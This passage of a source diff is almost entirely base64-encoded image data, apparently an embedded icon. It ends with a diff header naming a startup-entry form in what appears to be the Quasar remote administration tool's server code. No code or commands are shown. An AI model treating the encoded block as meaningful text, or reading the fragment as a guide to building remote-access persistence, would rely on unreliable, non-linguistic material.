Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf83JyD/OCgh/zkpIv84KCH/Nycg/zUlHv80JBz/MiIb/zEh + Gv8vHhf/KxoT/ycXD/8pFxD/CgEA/1BDPv/29PP/8e/u/zkpJP8TAwH/KhkR/ywbFP8wHxj/MiEa/zQk + HP81JR3/NiYf/zgoIf85KSL/OCgi/zgoIf83JyD/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OCgh/y0dFv8/LyjVZlZPN1lKQwX///8B////Af///wH///8B////Af///wF/b2hZSzs0uyYW + D/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zMjHP8xIRr/LR0V/yYV + Df8kEQr/Lx4W/z4sJP9HNy//VUdA/2lcVv93aWP/gHFs/4R3cv+2qqT//Pv7//n49/+cjon/dWdi/3lt + aP9mWVP/UkQ+/0g3MP8+LCX/Lh0V/ycWD/8rGxP/Lh4Y/zEhGv80JB3/OCgh/zkpIv86KiP/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/Lh4X/zwsJbFWRj9H////Af///wH///8B////Af// + /wH///8BVUU+pT4uJ+sxIRr/OSki/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/zsrJP81JR7/LBsU/yQT + DP8lEwv/NCMb/1NDPf+Bcmz/nZOP/8K9uv/u5uT///38///////6+fj/8fDw/+zr6v/k4d//9PPz//// + /////v7/7uXi/+HZ1f/p4+D/597b/+ro5v/j29f/0cnE/7uyrv+qnpn/gHNs/1ZHQf8+LSb/KxsU/ygX + EP8rGxP/NCQd/zoqJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OSki/ysbFP9HNzDVcmJbgf// + /wH///8B////Af///wH///8B////AVBAOa0/LyjvMyMc/zgoIf84KCH/OSki/zkpIv86KiP/PCwl/zQk + Hv8lFAz/IxEJ/zclHf9rXFX/opiU/9zW0////////v////Du7f/d2Nb/xL+9/6edmf+LfHf/cGNd/1lL + RP9ENTL/LxoT/7yyrv////////7+/5+UkP8kEAj/RzUu/0o5M/9SQz7/Y1ZR/39zbf+ilpD/t6yn/8W8 + t//c0Mv/yr+8/6WZk/9sXVf/RTUv/ysbFP8lEwz/MyMc/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8sHBX/Rzcw3W5eV43///8B////Af///wH///8B////Af///wFTQzynPy8o6zEhGv84KCH/OCgh/zkp + Iv86KSL/Oysk/ygXEP8fDAT/RDIr/5OJhf/Z1NH///////z7+//Z1NL/r6ai/3ttZ/9LOzT/OSYe/yYV + DP8fDAX/IA4G/yIQCP8lEgr/EwIA/yQTDf/W0M3////////////EvLn/GwgA/x4PCP8nFxD/IhEJ/yIQ + Cf8hDwf/Hw0F/yAOB/83JR//Tz84/21fWP+cjoj/ua+q/8W8uP+Zjoj/WElC/ykZEv8jEQn/OCgh/zoq + I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR + Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex + Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.Designer.cs 